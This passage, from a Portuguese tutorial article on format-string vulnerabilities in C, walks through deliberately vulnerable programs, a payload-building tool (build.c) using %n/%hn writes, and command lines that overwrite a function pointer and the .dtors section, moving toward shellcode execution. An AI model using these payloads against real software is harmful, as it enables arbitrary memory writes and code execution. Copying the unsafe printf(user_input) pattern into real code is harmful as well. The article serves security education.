    Para determinar o endere&ccedil;o da vari&aacute;vel <CODE>i</CODE> (aqui
<CODE>0xbffff664</CODE>), podemos correr o programa uma segunda vez e
alterar a linha de comandos, respectivamente. Como pode notar, aqui o
<CODE>i</CODE> tem um novo valor :) A string de formata&ccedil;&atilde;o dada e a
organiza&ccedil;&atilde;o da pilha fazem o <CODE>snprintf()</CODE> parecer-se algo como:
<PRE>
snprintf(buffer,
         sizeof buffer,
         "\x64\xf6\xff\xbf%.496x%n",
         tmp,
         4 primeiros bytes no buffer);
</PRE>

    <P>Os primeiros quatro bytes (contendo o endere&ccedil;o <CODE>i</CODE>) s&atilde;o
escritos no princ&iacute;pio do <CODE>buffer</CODE>. O formato <CODE>%.496x</CODE> permite-nos
livrar-nos da vari&aacute;vel <CODE>tmp</CODE> que est&aacute; no principio da pilha. Depois
quando a instru&ccedil;&atilde;o de formata&ccedil;&atilde;o &eacute; o <CODE>%n</CODE>, o endere&ccedil;o utilizado
&eacute; o de <CODE>i</CODE>, no principio do <CODE>buffer</CODE>. Apesar da
precis&atilde;o requerida ser 496, o snprintf escreve no m&aacute;ximo sessenta bytes
(porque o tamanho do buffer 'e 64 e 4 bytes j&aacute; foram escritos). O valor 496
&eacute; arbitr&aacute;rio e &eacute; somente utilizado para o "contador de bytes". Vimos que o
formato <CODE>%n</CODE> guarda o n&uacute;mero de bytes que deviam ser escritos.
Este valor &eacute; 496, ao qual adicion&aacute;mos 4 a partir dos 4 bytes do endere&ccedil;o <CODE>i</CODE> no
principio do <CODE>buffer</CODE>. Assim cont&aacute;mos 500 bytes. Este valor ser&aacute;
escrito no pr&oacute;ximo endere&ccedil;o da pilha, que &eacute; o endere&ccedil;o do <CODE>i</CODE>.</P>

    <P>Podemos ainda avan&ccedil;ar neste exemplo. Para alterar o <CODE>i</CODE>, precis&aacute;vamos
de saber o seu endere&ccedil;o ... mas por vezes o pr&oacute;prio programa fornece-o:</P>
<PRE>
/* swap.c */
#include &lt;stdio.h&gt;

main(int argc, char **argv) {

  int cpt1 = 0;
  int cpt2 = 0;
  int addr_cpt1 = &amp;cpt1;
  int addr_cpt2 = &amp;cpt2;

  printf(argv[1]);
  printf("\ncpt1 = %d\n", cpt1);
  printf("cpt2 = %d\n", cpt2);
}
</PRE>

    <P>Correndo este programa, mostra-se que podemos controlar a pilha
(quase) praticamente como queremos:</P>
<PRE>
&gt;&gt;./swap AAAA
AAAA
cpt1 = 0
cpt2 = 0
&gt;&gt;./swap AAAA%1\$n
AAAA
cpt1 = 0
cpt2 = 4
&gt;&gt;./swap AAAA%2\$n
AAAA
cpt1 = 4
cpt2 = 0
</PRE>

    <P>Como pode var, dependendo do argumento, podemos alterar quer o <CODE>cpt1</CODE>, quer
o <CODE>cpt2</CODE>. O formato <CODE>%n</CODE> espera um endere&ccedil;o, eis o
porqu&ecirc; de n&atilde;o podermos agir directamente nas vari&aacute;veis (por exemplo usando <CODE>%3$n (cpt2)</CODE> ou <CODE>%4$n
    (cpt1)</CODE> ) mas tem de ser directamente atrav&eacute;s de ponteiros. Os
&uacute;ltimos s&atilde;o "carne fresca" com enormes possibilidades para modifica&ccedil;&atilde;o.</P>

    <A NAME="191lfindex9">&nbsp;</A>
<H2>Varia&ccedil;ões no mesmo t&oacute;pico</H2>

    Os exemplos previamente apresentados prov&eacute;m de um programa compilado
com o <CODE>egcs-2.91.66</CODE> e o <CODE>glibc-2.1.3-22</CODE>. Contudo,
voc&ecirc; provavelmente n&atilde;o obter&aacute; os mesmos resultados na sua pr&oacute;pria
experi&ecirc;ncia. Al&eacute;m disso as fun&ccedil;ões do tipo <CODE>*printf()</CODE> alteram-se
consoante a <CODE>glibc</CODE> e os compiladores n&atilde;o reagem da mesma
maneira para opera&ccedil;ões id&ecirc;nticas.

    <P>O programa <CODE>stuff</CODE> apresenta estas diferen&ccedil;as:</P>
<PRE>
/* stuff.c */
#include &lt;stdio.h&gt;

main(int argc, char **argv) {

  char aaa[] = "AAA";
  char buffer[64];
  char bbb[] = "BBB";

  if (argc &lt; 2) {
    printf("Usage : %s &lt;format&gt;\n",argv[0]);
    exit (-1);
  }

  memset(buffer, 0, sizeof buffer);
  snprintf(buffer, sizeof buffer, argv[1]);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));
}
</PRE>

    <P>O vector <CODE>aaa</CODE> e <CODE>bbb</CODE> s&atilde;o usados como
delimitadores na nossa jornada atrav&eacute;s da pilha. Assim sendo, sabemos que
quando encontramos <CODE>424242</CODE>, os bytes seguintes alteram-se no <CODE>buffer</CODE>. A
Tabela <A href="#tabglibc">1</A> apresenta as diferen&ccedil;as segundo as versões
da glibc e os compiladores.</P>

    <CENTER>
      <TABLE border width="95%" bgcolor="#EEEEEE" border=2>
        <TR>
          <TH><A name="tabglibc" href="#tabglibc">Tab. 1</A> :
          Varia&ccedil;ões &agrave; volta da glibc</TH>
  	  <th>&nbsp;</th>
  	  <th>&nbsp;</th>
        </TR>

        <TR>
          <TD>
            <CENTER>
              <B>Compilador</B>
            </CENTER>
          </TD>

          <TD>
            <CENTER>
              <B>glibc</B>
            </CENTER>
          </TD>

          <TD>
            <CENTER>
              <B>Apresenta&ccedil;&atilde;o</B>
            </CENTER>
          </TD>
        </TR>

        <TR>
          <TD>gcc-2.95.3</TD>

          <TD>2.1.3-16</TD>

          <TD>buffer = [8048178 8049618 804828e 133ca0 bffff454 <FONT
          color="#CC0000">424242</FONT> <FONT color="#006600">38343038
          2038373</FONT>] (63)</TD>
        </TR>

        <TR>
          <TD>egcs-2.91.66</TD>

          <TD>2.1.3-22</TD>

          <TD>buffer = [<FONT color="#CC0000">424242</FONT> <FONT
          color="#006600">32343234 33203234 33343332 20343332 30323333
          34333233 33</FONT>] (63)</TD>
        </TR>

        <TR>
          <TD>gcc-2.96</TD>

          <TD>2.1.92-14</TD>

          <TD>buffer = [120c67 124730 7 11a78e <FONT color=
          "#CC0000">424242</FONT> <FONT color="#006600">63303231
          31203736 33373432 203720</FONT>] (63)</TD>
        </TR>

        <TR>
          <TD>gcc-2.96</TD>

          <TD>2.2-12</TD>

          <TD>buffer = [120c67 124730 7 11a78e <FONT color=
          "#CC0000">424242</FONT> <FONT color="#006600">63303231
          31203736 33373432 203720</FONT>] (63)</TD>
        </TR>
      </TABLE>
    </CENTER>

    <P>A seguir neste artigo, continuaremos a utilizar o <CODE>egcs-2.91.66</CODE> e
a <CODE>glibc-2.1.3-22</CODE>, mas n&atilde;o se admire de notar algumas diferen&ccedil;as
na sua m&aacute;quina.</P>

    <A NAME="191lfindex10">&nbsp;</A>
<H2>Explorando o bug da formata&ccedil;&atilde;o</H2>


    <P>Enquanto explorando o excedimento do buffer (overflow), utiliz&aacute;mos
um buffer para escrever por cima do endere&ccedil;o de retorno de uma fun&ccedil;&atilde;o.</P>

    <P>Com a formata&ccedil;&atilde;o de strings, vimos que podemos ir <FONT color= "red">a
todo o lado</FONT> (pilha, heap, bss, .dtors, ...), s&oacute; temos de dizer onde
e o que escrever para o <CODE>%n</CODE> fazer o trabalho por n&oacute;s. </P>

    <A NAME="191lfindex11">&nbsp;</A>
<H2>O programa vulner&aacute;vel</H2>

    Pode explorar o bug de formata&ccedil;&atilde;o de modos diferentes. O artigo de P.
    <a href="http://www.hert.org/papers/format.html">Bouchareine's article</a> (<EM>vulnerabilidade
da formata&ccedil;&atilde;o de strings</EM>) mostra como escrever por cima do endere&ccedil;o de
retorno de uma fun&ccedil;&atilde;o, ent&atilde;o n&oacute;s mostraremos algo mais.
<PRE>
/* vuln.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

int helloWorld();
int accessForbidden();

int vuln(const char *format)
{
  char buffer[128];
  int (*ptrf)();

  memset(buffer, 0, sizeof(buffer));

  printf("helloWorld() = %p\n", helloWorld);
  printf("accessForbidden() = %p\n\n", accessForbidden);

  ptrf = helloWorld;
  printf("before : ptrf() = %p (%p)\n", ptrf, &amp;ptrf);

  snprintf(buffer, sizeof buffer, format);
  printf("buffer = [%s] (%d)\n", buffer, strlen(buffer));

  printf("after : ptrf() = %p (%p)\n", ptrf, &amp;ptrf);

  return ptrf();
}

int main(int argc, char **argv) {
  int i;
  if (argc &lt;= 1) {
    fprintf(stderr, "Usage: %s &lt;buffer&gt;\n", argv[0]);
    exit(-1);
  }
  for(i=0;i&lt;argc;i++)
    printf("%d %p\n",i,argv[i]);

  exit(vuln(argv[1]));
}

int helloWorld()
{
  printf("Welcome in \"helloWorld\"\n");
  fflush(stdout);
  return 0;
}

int accessForbidden()
{
  printf("You shouldn't be here \"accesForbidden\"\n");
  fflush(stdout);
  return 0;
}

</PRE>

    <P>N&oacute;s definimos uma vari&aacute;vel chamada <CODE>ptrf</CODE> que &eacute; um
ponteiro para a fun&ccedil;&atilde;o. Alteraremos o valor deste ponteiro para correr a
fun&ccedil;&atilde;o que escolhemos. </P>

    <A NAME="191lfindex12">&nbsp;</A>
<H2>Primeiro Exemplo</H2>


    <P>Primeiro, temos de obter a diferen&ccedil;a entre o principio do buffer vulner&aacute;vel e a
 nossa posi&ccedil;&atilde;o corrente na pilha:</P>
<PRE>
&gt;&gt;./vuln "AAAA %x %x %x %x"
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [AAAA 21a1cc 8048634 41414141 61313220] (37)
after : ptrf() = 0x8048634 (0xbffff5d4)
Welcome in "helloWorld"

&gt;&gt;./vuln AAAA%3\$x
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5e4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048634 (0xbffff5e4)
Welcome in "helloWorld"
</PRE>

    <P>A primeira chamada aqui d&aacute;-nos o que precisamos: 3 palavras (uma
palavra = 4 bytes para processadores x86) separa-nos do inicio da vari&aacute;vel <CODE>buffer</CODE>. A
segunda chamada com <CODE>AAAA%3\$x</CODE> como argumento, confirma isto.</P>
<!-- L. Bailey: this is a bit unclear -->

    <P>O nosso objectivo &eacute; agora substituir o valor inicial do ponteiro
<CODE>ptrf</CODE> (<CODE>0x8048634</CODE>, o endere&ccedil;o da fun&ccedil;&atilde;o <CODE>helloWorld()</CODE>) com
o valor <CODE>0x8048654</CODE> (endere&ccedil;o da <CODE>accessForbidden()</CODE>).
    Temos de escrever <CODE>0x8048654</CODE> bytes (134514260 bytes em
decimal, algo como 128Mbytes). Nem todos os computadores podem usufruir de
tal mem&oacute;ria ... mas o que estamos a usar &eacute; capaz :) Demora cerca de 20
segundos num pentium duplo a 350 Mhz:</P>
<pre>
&gt;&gt;./vuln `printf "\xd4\xf5\xff\xbf%%.134514256x%%"3\$n `
helloWorld() = 0x8048634
accessForbidden() = 0x8048654

before : ptrf() = 0x8048634 (0xbffff5d4)
buffer = [&Ocirc;&otilde;&yuml;&iquest;000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
0000000000000] (127)
after : ptrf() = 0x8048654 (0xbffff5d4)
You shouldn't be here "accesForbidden"
</pre>

    <P>O que &eacute; que n&oacute;s fizemos? Demos somente o endere&ccedil;o de <CODE>ptrf
(0xbffff5d4)</CODE>. A pr&oacute;xima formata&ccedil;&atilde;o (<CODE>%.134514256x</CODE>) l&ecirc; as
primeiras palavras a partir da pilha com uma precis&atilde;o de 134514256 (j&aacute;
t&iacute;nhamos escrito 4 bytes a partir do endere&ccedil;o de <CODE>ptrf</CODE>, ent&atilde;o
ainda temos de escrever <CODE>134514260-4=134514256</CODE> bytes). por
&uacute;ltimo escrevemos o valor pretendido no endere&ccedil;o dado (<CODE>%3$n</CODE>).</P>

    <A NAME="191lfindex13">&nbsp;</A>
<H2>Problemas de mem&oacute;ria: <EM>dividir e conquistar</EM></H2>


    <P>Contudo, como o mencion&aacute;mos, nem sempre &eacute; poss&iacute;vel utilizar 128 MG
em buffers. O formato <CODE>%n</CODE> espera um ponteiro para um inteiro,
ou seja quatro bytes. &Eacute; poss&iacute;vel alterar o seu comportamento fazendo-o
apontar para um <CODE>short int</CODE> - s&oacute; 2 bytes - gra&ccedil;as &agrave;
instru&ccedil;&atilde;o <CODE>%hn</CODE>. Ent&atilde;o cortamos o inteiro no qual queremos
escrever em duas partes. A parte de escrita maior caber&aacute; em
<CODE>0xffff</CODE> bytes (65535 bytes). Ent&atilde;o no exemplo anterior,
transformamos a opera&ccedil;&atilde;o de escrita "<CODE>0x8048654</CODE> no endere&ccedil;o
<CODE>0xbffff5d4</CODE>" em duas opera&ccedil;ões sucessivas: :</P>

    <UL>
      <LI>escrevendo <CODE>0x8654</CODE> no endere&ccedil;o <CODE>0xbffff5d4</CODE> </LI>

      <LI>escrevendo <CODE>0x0804</CODE> no endere&ccedil;o
      <CODE>0xbffff5d4+2=0xbffff5d6</CODE> </LI>
    </UL>
    A segunda opera&ccedil;&atilde;o de escrita toma lugar nos bytes mais altos do
inteiro o que explica o swap dos 2 bytes.

    <P>Contudo, <CODE>%n</CODE> (ou <CODE>%hn</CODE>) conta o n&uacute;mero de
caracteres escritos para a string. Este n&uacute;mero s&oacute; pode aumentar. Primeiro,
temos de escrever o valor ,mais pequeno entre os dois. Depois, a segunda
formata&ccedil;&atilde;o s&oacute; usar&aacute; a diferen&ccedil;a entre os n&uacute;meros necess&aacute;rios e o primeiro
n&uacute;mero escrito com precis&atilde;o. Por exemplo, no nosso exemplo, a primeira
opera&ccedil;&atilde;o de formata&ccedil;&atilde;o ser&aacute; de <CODE>%.2052x</CODE> (2052 = 0x0804) e a
segunda <CODE>%.32336x</CODE> (32336 = 0x8654 - 0x0804). Cada <CODE>%hn</CODE> colocado
logo ap&oacute;s a direita gravar&aacute; a correcta quantidade de bytes.</P>

    <P>S&oacute; temos de especificar onde escrever ambos <CODE>%hn</CODE>. O
operador <CODE>m$</CODE> ajudar-nos imenso. Se guardarmos o endere&ccedil;o de
inicio do buffer vulner&aacute;vel, s&oacute; temos de subir pela pilha para encontrar a
dist&acirc;ncia entre o inicio do buffer e o formato <CODE>m$</CODE>. Ent&atilde;o,
ambos os endere&ccedil;os estar&atilde;o a um comprimento de <CODE>m</CODE> e <CODE>m+1</CODE>. Como
usamos os primeiros 8 bytes para guardar os endere&ccedil;os para rescrita, o
primeiro valor escrito deve ser decrementado por 8.</P>

    <P>A nossa string de formata&ccedil;&atilde;o &eacute; algo parecido com:</P>

    <CENTER>
      <CODE>"[addr][addr+2]%.[val. min. - 8]x%[offset]$hn%.[val. max -
      val. min.]x%[offset+1]$hn"</CODE>
    </CENTER>

    <P>O programa <CODE>build</CODE> utiliza tr&ecirc;s argumentos para criar uma
string de formata&ccedil;&atilde;o:
    </P>

    <OL>
      <LI>o endere&ccedil;o de rescrita;</LI>

      <LI>o valor para a&iacute; escrever;</LI>

      <LI>o comprimento (contado como palavras) desde o inicio do buffer
vulner&aacute;vel.</LI>
    </OL>
<PRE>
/* build.c */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;string.h&gt;

/**
   The 4 bytes where we have to write are placed that way :
   HH HH LL LL
   The variables ending with "*h" refer to the high part
   of the word (H) The variables ending with "*l" refer
   to the low part of the word (L)
 */
char* build(unsigned int addr, unsigned int value,
      unsigned int where) {

  /* too lazy to evaluate the true length ... :*/
  unsigned int length = 128;
  unsigned int valh;
  unsigned int vall;
  unsigned char b0 = (addr &gt;&gt; 24) &amp; 0xff;
  unsigned char b1 = (addr &gt;&gt; 16) &amp; 0xff;
  unsigned char b2 = (addr &gt;&gt;  8) &amp; 0xff;
  unsigned char b3 = (addr      ) &amp; 0xff;

  char *buf;

  /* detailing the value */
  valh = (value &gt;&gt; 16) &amp; 0xffff; //top
  vall = value &amp; 0xffff;         //bottom

  fprintf(stderr, "adr : %d (%x)\n", addr, addr);
  fprintf(stderr, "val : %d (%x)\n", value, value);
  fprintf(stderr, "valh: %d (%.4x)\n", valh, valh);
  fprintf(stderr, "vall: %d (%.4x)\n", vall, vall);

  /* buffer allocation */
  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {
    fprintf(stderr, "Can't allocate buffer (%d)\n", length);
    exit(EXIT_FAILURE);
  }
  memset(buf, 0, length);

  /* let's build */
  if (valh &lt; vall) {

    snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         valh-8,              /* set the value for the first %hn */
         where,               /* the %hn for the high part */

         vall-valh,           /* set the value for the second %hn */
         where+1              /* the %hn for the low part */
         );

  } else {

     snprintf(buf,
         length,
         "%c%c%c%c"           /* high address */
         "%c%c%c%c"           /* low address */

         "%%.%hdx"            /* set the value for the first %hn */
         "%%%d$hn"            /* the %hn for the high part */

         "%%.%hdx"            /* set the value for the second %hn */
         "%%%d$hn"            /* the %hn for the low part */
         ,
         b3+2, b2, b1, b0,    /* high address */
         b3, b2, b1, b0,      /* low address */

         vall-8,              /* set the value for the first %hn */
         where+1,             /* the %hn for the high part */

         valh-vall,           /* set the value for the second %hn */
         where                /* the %hn for the low part */
         );
  }
  return buf;
}

int
main(int argc, char **argv) {

  char *buf;

  if (argc &lt; 3)
    return EXIT_FAILURE;
  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
          strtoul(argv[2], NULL, 16),  /* valeur */
          atoi(argv[3]));              /* offset */

  fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
  printf("%s",  buf);
  return EXIT_SUCCESS;
}
</PRE>

    <P>
    A posi&ccedil;&atilde;o dos argumentos altera-se consoante se o primeiro valor a ser
escrito &eacute; a parte mais alta ou baixa da palavra. Verifiquemos o que obtemos
agora, sem quaisquer problemas de mem&oacute;ria.</P>

    <P>Primeiro, o nosso simples exemplo, permite-nos advinhar o
comprimento:</P>
<PRE>
&gt;&gt;./vuln AAAA%3\$x
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5d4)
buffer = [AAAA41414141] (12)
after : ptrf() = 0x8048644 (0xbffff5d4)
Welcome in "helloWorld"
</PRE>

    <P>&Eacute; sempre o mesmo: 3. Visto que o nosso programa &eacute; feito para
explorar o que acontece, n&oacute;s j&aacute; temos toda a outra informa&ccedil;&atilde;o que
precisamos: Os endere&ccedil;os <CODE>ptrf</CODE> e <CODE>accesForbidden()</CODE>.
Constru&iacute;mos o nosso buffer segundo isto:</P>
<pre>
&gt;&gt;./vuln `./build 0xbffff5d4 0x8048664 3`
adr : -1073744428 (bffff5d4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[&Ouml;&otilde;&yuml;&iquest;&Ocirc;&otilde;&yuml;&iquest;%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [&Ouml;&otilde;&yuml;&iquest;&Ocirc;&otilde;&yuml;&iquest;00000000000000000000d000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000
00000000] (127)
after : ptrf() = 0x8048644 (0xbffff5b4)
Welcome in "helloWorld"

</pre>
    Nada acontece ! De facto, vimos que us&aacute;mos um buffer grande no exemplo
anterior da formata&ccedil;&atilde;o da string, a pilha alterou-se. O <CODE>ptrf</CODE> foi
de <CODE>0xbffff5d4</CODE> para <CODE>0xbffff5b4</CODE>). Os nossos valores
precisam de ser ajustados:
<pre>
&gt;&gt;./vuln `./build 0xbffff5b4 0x8048664 3`
adr : -1073744460 (bffff5b4)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[&para;&otilde;&yuml;&iquest;&acute;&otilde;&yuml;&iquest;%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = 0xbffff819
helloWorld() = 0x8048644
accessForbidden() = 0x8048664

before : ptrf() = 0x8048644 (0xbffff5b4)
buffer = [&para;&otilde;&yuml;&iquest;&acute;&otilde;&yuml;&iquest;0000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x8048664 (0xbffff5b4)
You shouldn't be here "accesForbidden"

</pre>
    Ganh&aacute;mos!!!

    <A NAME="191lfindex14">&nbsp;</A>
<H2>Outras Explora&ccedil;ões</H2>

    Neste artigo, come&ccedil;amos por provar que os bugs de formata&ccedil;&atilde;o s&atilde;o uma
vulnerabilidade real. Uma outra preocupa&ccedil;&atilde;o &eacute; como explor&aacute;-los. A
explora&ccedil;&atilde;o do excedimento do buffer (overflow) assenta na escrita do
endere&ccedil;o de retorno de uma fun&ccedil;&atilde;o. Depois tem de tentar &agrave; sorte e rezar
imenso para que as suas scripts encontrem os valores correctos (mesmo que a
eggshell esteja preenchida de NOP's). N&atilde;o precisa disto tudo para os
bugs de formata&ccedil;&atilde;o e n&atilde;o fica mais restringido &agrave; sobreposi&ccedil;&atilde;o do endere&ccedil;o
de retorno.

    <P>Vimos que os bugs de formata&ccedil;&atilde;o permitem-nos escrever em qualquer
lado. Ent&atilde;o, veremos agora uma explica&ccedil;&atilde;o baseada na sec&ccedil;&atilde;o <CODE>.dtors</CODE></P>

    <P>Quando um programa &eacute; compilado com o <CODE>gcc</CODE>, pode
encontrar uma sec&ccedil;&atilde;o de constru&ccedil;&atilde;o (chamada <CODE>.ctors</CODE>) e um
destrutor (chamado <CODE>.dtors</CODE>). Cada uma destas sec&ccedil;ões cont&ecirc;m
ponteiros para as fun&ccedil;ões a serem carregadas antes de fun&ccedil;&atilde;o <CODE>main()</CODE> e
depois sair, respectivamente.</P>
<PRE>
/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
</PRE>
    O nosso programa mostra esse mecanismo:
<PRE>
&gt;&gt;gcc cdtors.c -o cdtors
&gt;&gt;./cdtors
in start()
in main()
in end()
</PRE>
    Cada uma destas sec&ccedil;ões &eacute; constru&iacute;da do mesmo modo:
<PRE>
&gt;&gt;objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............
&gt;&gt;objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............
</PRE>
    Verificamos que os endere&ccedil;os indicados s&atilde;o iguais aos nossas fun&ccedil;ões
(aten&ccedil;&atilde;o: o comando precedente <CODE>objdump</CODE> d&aacute;-nos os endere&ccedil;os no
formato little endian):
<PRE>
&gt;&gt;objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
</PRE>
    Ent&atilde;o, estas sec&ccedil;ões cont&ecirc;m os endere&ccedil;os das fun&ccedil;ões que correm no
principio (ou no fim), "encaixados" com <CODE>0xffffffff</CODE> e <CODE>0x00000000</CODE>.

    <P>Apliquemos isto ao <CODE>vuln</CODE> usando a formata&ccedil;&atilde;o de string.
Primeiro temos de ter a localiza&ccedil;&atilde;o na mem&oacute;ria destas sec&ccedil;ões o que &eacute;
realmente f&aacute;cil quando temos o bin&aacute;rio &agrave; m&atilde;o ;-) Utilize simplesmente o <CODE>objdump</CODE> como
fizemos previamente:</P>
<PRE>
&gt;&gt; objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........
</PRE>
    Aqui est&aacute; ! Temos tudo o que precisamos agora.

    <P>O objectivo da explora&ccedil;&atilde;o &eacute; substituir o endere&ccedil;o de uma fun&ccedil;&atilde;o
destas sec&ccedil;ões pelo de uma fun&ccedil;&atilde;o que queremos executar. Se as sec&ccedil;ões
est&atilde;o vazias, s&oacute; se tem de sobrepor o endere&ccedil;o <CODE>0x00000000</CODE> que
indica o fim da sec&ccedil;&atilde;o. Isto dar&aacute; uma <CODE>segmentation fault</CODE> pois
o programa n&atilde;o encontrar&aacute; este endere&ccedil;o <CODE>0x00000000</CODE>, e tomar&aacute;
como pr&oacute;ximo valor o endere&ccedil;o de uma fun&ccedil;&atilde;o o que provavelmente n&atilde;o &eacute;
verdade. </P>

    <P>De facto, a &uacute;nica sec&ccedil;&atilde;o de interesse &eacute; a sec&ccedil;&atilde;o do destrutor (<CODE>.dtors</CODE>): n&atilde;o
temos tempo de fazer alguma coisa antes da sec&ccedil;&atilde;o do construtor (<CODE>.ctors</CODE>). Geralmente,
&eacute; suficiente sobrepor o endere&ccedil;o em 4 bytes ap&oacute;s o inicio da sec&ccedil;&atilde;o (o <CODE>0xffffffff</CODE>):</P>

    <UL>
      <LI>se n&atilde;o existe nenhum endere&ccedil;o aqui, sobrepomos o
      <CODE>0x00000000</CODE>;</LI>

      <LI>caso contr&aacute;rio, a primeira fun&ccedil;&atilde;o a ser executada ser&aacute; a nossa.</LI>
    </UL>

    <P>Voltemos ao nosso exemplo. Substitu&iacute;mos o <CODE>0x00000000</CODE> na
sec&ccedil;&atilde;o <CODE>.dtors</CODE>, residente em
<CODE>0x8049848=0x8049844+4</CODE>, com o endere&ccedil;o da fun&ccedil;&atilde;o
<CODE>accesForbidden()</CODE>, j&aacute; conhecido (<CODE>0x8048664</CODE>):</P>
<pre>
&gt;./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)

</pre>
    Tudo corre bem, o <CODE>main()</CODE>, o <CODE>helloWorld()</CODE> e
depois sai. O destrutor &eacute; logo chamado. A sec&ccedil;&atilde;o <CODE>.dtors</CODE> &eacute;
iniciada com o endere&ccedil;o de <CODE>accesForbidden()</CODE>. Depois visto que
n&atilde;o existe num endere&ccedil;o real de uma fun&ccedil;&atilde;o, o esperado coredump ("cad&aacute;ver")
acontece.

    <A NAME="191lfindex15">&nbsp;</A>
<H2>Por favor, D&ecirc;em-me a linha de comandos</H2>


    <P>Vimos pequenas explora&ccedil;ões aqui. Usando o mesmo principio, podemos
obter uma linha de comandos, quer passando o c&oacute;digo da shell atrav&eacute;s do
<CODE>argv[]</CODE> ou atrav&eacute;s de uma vari&aacute;vel de ambiente ao programa
vulner&aacute;vel. S&oacute; temos de definir o endere&ccedil;o correcto (por exemplo: o
endere&ccedil;o da eggshell) na sec&ccedil;&atilde;o <CODE>.dtors</CODE>.</P>

    <P>At&eacute; agora, sabemos:</P>

    <UL>
      <LI>Como explorar a pilha com limites razo&aacute;veis (de facto,
teoricamente, n&atilde;o existe limite, mas torna-se doloroso ou at&eacute; mesmo
demoroso recuperar as palavras na pilha uma a uma);</LI>

      <LI>como escrever o valor esperado para o endere&ccedil;o correcto.</LI>
    </UL>

    <P>Contudo, na realidade, o programa vulner&aacute;vel n&atilde;o &eacute; t&atilde;o simp&aacute;tico com
o exemplo anterior. Introduziremos um m&eacute;todo que nos permitir&aacute; p&ocirc;r o c&oacute;digo
da shell na mem&oacute;ria e devolver o seu endere&ccedil;o <B>exacto</B> (o que
significa que n&atilde;o &eacute; adicionado mais nenhum NOP ao principio do c&oacute;digo da
shell).</P>

    <P>A ideia baseia-se em chamadas recursivas &agrave; fun&ccedil;&atilde;o <CODE>exec*()</CODE>:</P>
<PRE>
/* argv.c */
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;

  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i&lt;argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &amp;argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &amp;arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0)
    exit(0);
  execve(argv[0], arg, env);
}
</PRE>
    A entrada &eacute; um inteiro <CODE>nb</CODE> o qual o programa chamar&aacute;
recursivamente a si pr&oacute;prio <CODE>nb+1</CODE> vezes:
<PRE>
&gt;&gt;./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)
